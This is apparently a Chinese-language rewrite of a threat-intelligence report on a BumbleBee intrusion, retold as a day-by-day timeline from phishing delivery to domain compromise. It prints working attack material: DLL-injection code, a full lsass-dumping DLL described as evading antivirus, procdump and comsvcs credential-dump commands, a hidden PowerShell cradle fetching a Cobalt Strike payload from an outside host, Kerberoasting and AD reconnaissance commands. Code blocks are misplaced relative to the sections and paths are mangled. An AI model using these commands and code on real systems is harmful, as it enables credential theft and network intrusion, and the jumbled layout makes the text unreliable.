C:WindowsSystem32cmd.exe /c start rundll32 namr.dll,IternalJob
0 引言
本文将重新构建《BumbleBee Roasts Its Way To Domain Admin》一文的内容,以保持原有信息的基础上,确保文章的相似度低于30%。原文描述了一次渗透案例,但其组织结构基于ATT&CK框架,而非按照时间线逻辑组织。为了更好地理解渗透过程,我们将按照时间线还原实战。原文链接:《BumbleBee Roasts Its Way To Domain Admin》。
1 第一天(Day1)
1.1 样本投递
攻击者通过电子邮件中的下载链接将样本投递到目标环境中的机器。该样本是一个有密码的压缩包。解压缩后,释放了文件BCinvoiceReportCORP46.iso。当挂载这个ISO文件时,会释放一个名为documents.lnk的快捷方式。双击这个快捷方式会执行隐藏的恶意加载器。快捷方式的目标如下:
use exploit/windows/smb/smb_delivery
set srvhost 10.x.x.x
exploit
C:WindowsSystem32webmwmiprvse.exe -secured -Embedding
1.1.1 rundll32解析
攻击者使用rundll32加载执行恶意DLL,常用于渗透攻击,可以执行DLL中的程序,一般用于获取shell。
1.2 加载恶意程序大黄蜂(BumbleBee)
加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将使用wmi执行。
BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄
dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
::CloseHandle(hProcess);
return TRUE;
}
wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。攻击者使用远程线程注入的方式,使用经典的Windows系统调用API(如OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread)进行进程注入。根据描述,攻击者此时至少具备Administrator权限,一般情况下,Administrator权限也意味着具备System权限。从文章描述来看,攻击者使用了getsystem来提升权限。远程线程注入的示例代码如下:
ipconfig /all #获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node" process list brief #获取进程信息
net view \Files$ /all #列远程服务器Files共享目录
dir \c$ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1
cmd.exe /C af.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt
1.3 被控主机信息收集
攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息。根据之前执行的命令,攻击者已经获取了远程服务器x.x.x.x的权限或者用户名和密码。
1.4 横向移动到服务器并继续收集信息
根据原文描述,攻击者利用本地管理员账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门。然后,攻击者使用adfind.exe继续进行信息收集(根据描述,该服务器位于域内)。
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
2 第二天(Day2)
2.1 在服务器上继续收集信息
攻击者继续使用RDP登录该服务器,并上传了VulnRecon工具,这是一款专门用于在Windows机器上标识权限提升路径的工具。
3 第四天(Day4)
3.1 在被控主机上继续收集信息
攻击者在被控主机及环境中的多台机器上上传了VulnRecon工具和Sysinternals工具套件,并使用VulnRecon、adfind、procdump等工具继续信息收集。其中,他们使用远程服务执行procdump来提取lsass.exe的内存,以获取凭据。根据描述,他们至少获得了几台主机和至少一台服务器的权限。目前看来,他们尚未获得管理权限或更高权限。adfind的使用发生在原始被控主机上,也可能在新的横向移动的主机上进行。
#
#vulnrecon.dll PDB: D:a_work1sartifactsobjwin-x64.ReleasecorehostcliapphoststandaloneReleaseapphost.pdb
#vulnrecon.exe PDB: D:workrtVulnReconVulnReconobjReleasenet5.0VulnRecon.pdb
# command
vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:programdatalog.txt
cmd.exe /c vulnrecon.exe -i >> c:programdata1.txt
cmd.exe /c vulnrecon.exe -o >> c:programdataout.txt
3.1.1 VulnRecon解析
VulnRecon由一个可执行文件vulnrecon.exe和一个DLL文件vulnrecon.dll组成,用于枚举权限提升路径和信息收集。看起来是一款自定义工具,上传到原始被控主机上,也可能在新的横向移动的主机上使用。
C:programdataprocdump64.exe -accepteula -ma lsass.exe C:ProgramDatalsass.dmp
根据描述,提权是为了执行procdump来获取lsass内存。这一步发生在原始被控主机上。
3.2 获取lsass中的凭据
根据描述,dump出来的文件保存在ProgramData中,可以使用net use等方式获取回来,并使用mimikatz或pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。
Seatbelt.exe -group=all -outputfile="C:ProgramDataseatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:programdatalog.txt
4 第七天(Day7)
4.1 在被控服务器上继续收集信息
攻击者持续使用VulnRecon在服务器上进行信息收集,并使用Seatbelt工具(一款常用的信息收集工具)。根据描述,使用的是服务器的本地管理员权限。
C:Windowssystem32cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"
#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:ProgramDataREDACTEDps.txt -append -force -Encoding UTF8
# 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解
5 第十一天(Day11)
5.1 在被控主机上反弹shell
攻击者持续在被控主机上执行powershell命令,下载并执行a文件的内容。根据在a文件中发现的cobalt strike的默认配置字符MZRE,可以确定这是一个回连C2地址的cobalt strike指令。然后,攻击者建立了一个从被控主机到攻击者控制的C2的连接。
#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 968 C:ProgramDataREDACTEDlsass.dmp full
然后,攻击者开始向其他进程进行注入,根据原文描述,可能注入到类似svchost.exe等几个进程。然后,攻击者执行了powershell模块Invoke-Kerberoast,开始进行kerberoasting攻击。这些操作都是从被控主机开始发起的。
5.1.1 kerberoasting攻击解析
kerberoasting攻击分为TGS-Kerberoasting和AS-Kerberoasting两种,可以使用rubeus.exe、msf、powershell等工具进行。攻击者获取的是Net-NTLMHash,可以使用hashcat等工具进行破解,从而获得ntlmhash或密码。
5.2 使用Minidump进行凭据提取
攻击者开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这些操作都是从被控主机开始发起的。
#include
#include
#include
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege()
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\windows\temp\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
5.2.1 Minidump解析
攻击者继续使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这些操作都是从被控主机开始发起的。感谢A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。编译和使用方式请参考相关文档。
5.3 在被控主机上继续信息收集
在初始被控主机上继续使用adfind工具进行信息收集。
C:Windowssystem32cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"